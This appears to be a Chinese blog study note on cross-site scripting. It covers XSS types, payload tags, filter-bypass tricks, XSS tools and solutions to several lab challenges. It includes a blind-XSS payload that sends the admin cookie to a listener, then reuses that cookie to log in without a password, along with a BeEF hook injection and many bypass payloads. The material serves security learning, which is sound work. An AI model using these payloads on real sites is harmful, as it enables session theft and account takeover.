XSS基础
|字数总计:4.4k|阅读时长:21分钟|阅读量:
XSS基础
1.XSS种类:
反射(主动触发
dom(主动触发
存储型(被动触发
1.1.反射型
GET型
创造一触发xss的页面后让其他用户点击
?message = <script>alert(1)</script> ?meseage = </p><script>alert(1)</script><p>
|
POST型
在post date里输入攻击代码
1.2.存储型
一般会把代码放在数据库中,危害很大
每个点击的用户都会被动触发
多留言板、弹幕、论坛
h<script>alert(1)</script>aha
|
1.3.DOM型
dom型
和js有互动
DOM-xss-1
用js和前端进行互动
<a href=''>what do you see?</a>
|
法一
闭合写新标签
<a herf = '#'><img src = '#' onmouseover = "alert('xss')" '>what do you see?</a> <a href = '#' onclick = "alert('1')">
|
法二
javascript协议
<a href='javascript:alert(1)'>what do you see?</a>
|
DOM-xss-x
输入一个参数会被页面上的某些js函数进行处理,处理后再显示到页面
这种情况需要对js处理函数进行分析,构造payload
<div if="xssd_main"> <script> function domxss(){ var str = window.location.search; var txss = decodeURIComponent(str.split("text=")[1]); var xss = txss.replace(/\+/g,''); alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事随风吧,都随风吧</a>"; } //payload #'><img src='#' onmouseover = "alert(1)" <a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
|
XSS盲打
猜测打后端
nc -lvp 4444 让nc监听4444端口
让nc监听4444端口 使用js在前端,创建⼀个img标签,链接地址是http://127.0.0.1:4444/haha?管理员cookie内容
<script>var img = document.createElement("img");img.src="http://127.0.0.1:4444/ haha?"+escape(document.cookie);</script>
|
haha?后⾯是 ant%5Buname%5D%3Dadmin%3B%20ant%5Bpw%5D%3D10470c3b4b1fed12c3baac014be15fac67 c6e815%3B%20PHPSESSID%3D7gs14u95sj83rprra2jtnekgk7
解码得到
GET /haha?ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=40m1vhef8ovjan1ojec5vgs8ln HTTP/1.1
|
就是管理员的cookie
发现referer http://127.0.0.1/vul/xss/xssblind/admin.php 也就是侦测到了管理员登录地址
在burp里访问http://127.0.0.1/vul/xss/xssblind/admin.php抓包,cookie修改为抓到的cookie,就可 以免密码登录后台了。
2.XSSpayload构造
2.1常用标签
<script>alert(1)</script> <img src=x onerror="alert(1)"> <a href="javascript:alert(1)">123</a> <body onload="alert(1)"> <div onclick="alert(1)">h</div> <svg onload="alert(1)"></svg> <object onclick="alert(1)">123</object> <input type="text" onfocus="alert(1)" autofocus> <iframe src="javascript:alert(1);"></iframe> <button onclick="alert(1)">click!</button> <details ontoggle="alert('xss');">
|
2.2常用on事件
onclick=点击触发 onload=加载触发 onerror=报错触发 onfocus=获得焦点触发 onblur=失去焦点触发 onmouseover=鼠标悬停 onkeydown= onkeypress= onkeyup= 键盘操作触发 onchange=内容改变触发 onscroll=滚动条滚动触发
|
2.3常用测试函数
src挖掘
弹窗
4.常用绕过方式
1.大小写绕过
外部标签无视大小写,内部的js代码是大小写敏感的
<script>alert(1)</script> <SCRIPT>alert(1)</scRiPT>
|
2.双写绕过
<scr<script>ipt>alert(1)</sc</script>ript>
|
3.注释绕过
4.过滤圆括号(),用反引号``替代
5.使用svg实体字符编码
<svg><script>alert(1)</script>
|
6.换行逃逸js匹配
7.单标签不写右标签
8.输入内容全大写- 远程js
9.使用长英语绕过
10.编码绕过
<>() 尝试单词或多次url编码 "[内容]" 双引号的内容尝试unicode编码 base64编码 <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object> unicode <script>\u0061\u006c\u0065\u0072\u0074(10);</script>
|
11.payload长度受限
1.短域名 2.<svg/onload=alert(1)
|
12.jQuery截断绕过
$ms = 'abc'; if($ms == 'tmac'){ $('#fromjs').text('tmac确实厉害'); }else{
$('fromjs').text('无论如何不要放弃心中所爱') }
abc = ';alert(1);// $ms = '';alert(1);//'; abc = '</script><script>alert(1)//
|
5.XSS危害与防御
XSS危害
盗取cookie
植入键盘记录器。
攻击受害者所在的局域网。
代理转发流经被攻击者的所有 Web 流量,即实施中间人攻击。
窃取或篡改应用 cookie 用于会话劫持。
更改被攻击者 Web 应用的显示内容。
绕过 CSRF 安全防护措施。
创建包含恶意 JavaScript 代码的虚假网站以及到该网站页面的链接。
发送嵌入恶意 Web URL 的电子邮件。
使用 URL 短码隐蔽真实 URL。
|
XSS防御
https://zhuanlan.zhihu.com/p/262038810
html回显内容在html页面标签之外时,实体化左右尖括号 html回显内容在<script>代码快时,实体化左右尖括号、“/”、单引号等可能闭合标签的字符 html回显内容通过postmessage作为输入点时 检测messageEvent的来源是否在白名单内,同时检测来源数据是否合法,是否存在恶意代码
|
6.XSS平台
1.beef-xsss
1.安装登录
安装beef-xss
sudo apt update beef-xss 之后默认走流程 beef-xss打开 在127.0.0.1:3000/ui/authentication登录
|
默认用户名beef 密码pass
2.使用
src 连接到本地beef-xss
<script src="http://192.168.89.129:3000/hook.js"></script>
|
运行后beef-xss上线
找到对方的前端代码,然后插入自己的js攻击代码
Current Browser → Commands 可以运行多种命令
上线的浏览器会弹窗
2.xss.pt
https://xss.pt/xss.php
创建项目
选择相应模式后会返回payload
将payload运行
7.常用工具推荐
1.XSStrike
项目地址:https://github.com/s0md3v/XSStrike
python xsstrike.py
usage: xsstrike.py [-h] [-u TARGET] [--data DATA] [-t THREADS] [--seeds SEEDS] [--json] [--path] [--fuzzer] [--update] [--timeout] [--params] [--crawl] [--blind] [--skip-dom] [--headers] [--proxy] [-d DELAY] [-e ENCODING] optional arguments: -h, --help show this help message and exit -u, --url target url --data post data -f, --file load payloads from a file -t, --threads number of threads -l, --level level of crawling -t, --encode payload encoding --json treat post data as json --path inject payloads in the path --seeds load urls from a file as seeds --fuzzer fuzzer --update update --timeout timeout --params find params --crawl crawl --proxy use prox(y|ies) --blind inject blind xss payloads while crawling --skip skip confirmation dialogue and poc --skip-dom skip dom checking --headers add headers -d, --delay delay between requests
|
使用测试
2.XSSpayload
一种xss fuzz爆破方式
https://github.com/TheKingOfDuck/easyXssPayload
放入payload看弹窗数字确定payload行数。
3.Burpsuite XSS Validator插件
1.安装
1.phantomjs下载
http://phantomjs.org/download.html
将phantomjs所在的bin目录添加到环境变量
下载xss.js,将其放到和phantomjs.exe一个目录中
https://github.com/NetSPI/xssValidator/blob/master/xss-detector/xss.js
运行
2.安装插件
2.使用
1.用bp抓包send to intruder
2.配置变量
3.配置GREP-MATCH
4.启动扫描
参考文章:
burpsuite插件xssValidator的安装及使用(XSS自动扫描工具)
8.参考文章
XSS CSRF SSRF
Xss Bypass备忘录
9.靶场练习
1.XSS靶场1-haozi
0x00 -直接script标签
function render (input) { return '<div>' + input + '</div>' }
|
<script>alert(1)</script>
|
0x01 -双标签中间输入-闭合双标签
function render (input) { return '<textarea>' + input + '</textarea>' }
|
</textarea><script>alert(1)</script><textarea>
|
0x02 - 单标签输入-闭合单标签
function render (input) { return '<input type="name" value="' + input + '">' }
|
"><script>alert(1)</script>
|
0x03 - 过滤圆括号-反引号替代括号
匹配去除()
可以用反引号替换括号
function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input }
|
<script>alert`1`</script>
|
0x04 -过滤括号+反引号 svg实体字符编码
匹配括号和反引号,用svg实体字符编码
编码可以找gpt
function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input }
|
<svg><script>alert(1)</script> <svg><script>alert(1)</script> <img src=x onerror=alert(1)>
|
0x05 –!>闭合注释
可以用–!>注释
function render (input) { input = input.replace(/-->/g, '😂') return '<!-- ' + input + ' -->' }
|
--!><script>alert(1)</script>
|
0x06 - 通过换行逃逸正则表达式逃逸
正则表达式只匹配一行
屏蔽auto和on开头接上=在一行的内容
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` }
|
0x07 - 单标签可以不写右标签
所有单标签可以只写左标签,不写右标签
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '') return `<article>${input}</article>` }
|
<img src=x onerror=“alert(1)"
|
0x08 - 标签换行逃避正则表达式
前端标签的括号可以换行写
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` }
|
</style ><script>alert(1)</script>
|
0x09 - 存在指定内容的闭合
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' }
|
http://www.segmentfault.com" onload="alert(1) http://www.segmentfault.com"></script><img src=x onerror="alert(1)
|
0x0A-C 出不来结果,现代的浏览器一般都不允许这种语法
0x0A - @远程JS
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') }
const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' }
|
0x0B -@ 大写远程JS
所有输入的内容都变成大写-通过远程链接到JS
function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>` }
|
http: <img src=x onerror='alert(1)'>
|
0x0C - 双写+大写+远程
大写后屏蔽script标签
双写绕过
function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
|
<scriscriptpt src="http://127.0.0.1/ABC.JS"></scscriptript>
|
0x0D 多次换行逃逸
屏蔽< / “ ‘
function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` }
|
0x0E -长英语逃逸
<后如果是字母加一个_
如果目标把我们所有的输入都大写了,就不可以用js语法力,js语法大小写敏感,但是js标签大小随意.
输入的长英语经过大写后变成大写S
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
|
<ſcript src="http://127.0.0.1/ABC.JS"></script> <ſvg/onload='alert(1)'>
|
0x0F -img标签冗余;
适用于旧版本浏览器
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">` }
|
0x10-js可以换行不加分号
js换行不加分号也行
function render (input) { return ` <script> window.data = ${input} </script> ` }
|
0x11-闭合+注释
function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` }
|
0x12 - 闭合+注释
function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' }
|
2.chuanzhi7靶场
http://chanzhi7.njhack.xyz/www/
尝试对搜索框进行XSS漏洞挖掘
首先右键查看页面源码,找到注入点
<input type='text' name='words' id='words' value='[注入点]' class='form-control' placeholder='' /> http://chanzhi7.njhack.xyz/www/index.php/search-index-[注入点]1.html
|
想要对其进行闭合注入等,但是经实验发现环境对<>”等都有屏蔽, 尝试进行编码,看看编码后结果
<input type='text' name='words' id='words' value=' x'><img ' class='form-control' placeholder='' />
|
进行一次编码后,结果时Bad Request
http://chanzhi7.njhack.xyz/www/index.php/search-index-%78%27%3e%3c%69%6d%67-1.html http://chanzhi7.njhack.xyz/www/index.php/search-index-x'><img-1.html
|
进行第二次编码后,发现正常,得知我们需要2次编码才可以绕过。
http://chanzhi7.njhack.xyz/www/index.php/search-index-%25%37%38%25%32%37%25%33%65%25%33%63%25%36%39%25%36%64%25%36%37-1.html
|
则尝试
<input type='text' name='words' id='words' value=' abc' onmouseover='alert(1) ' class='form-control' placeholder='' />进行两次编码 结果成功 http://chanzhi7.njhack.xyz/www/index.php/search-index-%25%36%31%25%36%32%25%36%33%25%32%37%25%32%30%25%36%66%25%36%65%25%36%64%25%36%66%25%37%35%25%37%33%25%36%35%25%36%66%25%37%36%25%36%35%25%37%32%25%33%64%25%32%37%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39-1.html
|
尝试让页面进入就弹窗
http://chanzhi7.njhack.xyz/www/index.php/search-index-%25%37%38%25%32%37%25%32%30%25%32%66%25%33%65%25%32%35%25%33%33%25%36%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%36%35%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%32%35%25%33%33%25%36%33%25%32%35%25%33%32%25%36%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%36%35%25%33%63%25%36%39%25%36%64%25%36%37%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%37-1.html
|
3.XSS靶场
1.xss基础
http://192.168.10.151/xss/level1.php?name=<script>alert(1)</script>
|
2.闭合
审查页面元素
test的地方是注入点,尝试闭合注入
<input name="keyword" value="test">
|
<input name="keyword" value="test"> "><img src=x onerror="alert(1)" <input name="keyword" value=""><img src=x onerror="alert(1)"">
|
3.单引号闭合
查看页面源码
<input name=keyword value=''>
|
<input name="keyword" value='' onmouseover=alert`1`">
|
4.闭合
5.闭合+链接
x"><a href="javascript:alert(1)"
|
6.大小写绕过
屏蔽on , src , href
x"><img SrC=x Onerror=alert(1) //
|
7.双写绕过
x"><img SSrcrC=x OOnnerror=alert(1) //
|
8.unicode编码绕过
遇到javascript和 on则会替换_
1.对C进行unicode编码 javaScript:alert(1) 2.对javascript整体进行编码 javascript:alert(1)
|
9.合法url审核,加//http://
提示url不合法,需要在输入的内容后面写http://使得内容合法
javascript:alert(1) 进行实体字符编码,然后xxxxx //http://
javascript:alert(1)//http://
|
10.get传入参数,尝试闭合,type=””
查看页面源码
未显示传入方式,默认是GET
对t_link,t_history,t_sort对尝试传入参数查看反应
<h1 align=center>欢迎来到level10</h1> <h2 align=center>没有找到和well done!相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> </form>
|
发现只有t_sort有反应
http://192.168.10.151/xss/level10.php?keyword=t_link=1&t_history=2&t_sort=3 <input name="t_sort" value="3" type="hidden">
|
必须要加个type = “” ,有type就会有显示内容,否则会被hidden
http://192.168.10.151/xss/level10.php?keyword=aaaaa&t_link=1&t_history=2&t_sort=" type="" onclick=alert(1) // http://192.168.10.151/xss/level10.php?keyword=t_link=1&t_history=2&t_sort=3 <input name="t_sort" value=" " type=" " onclick=alert(1) // " type="hidden">
|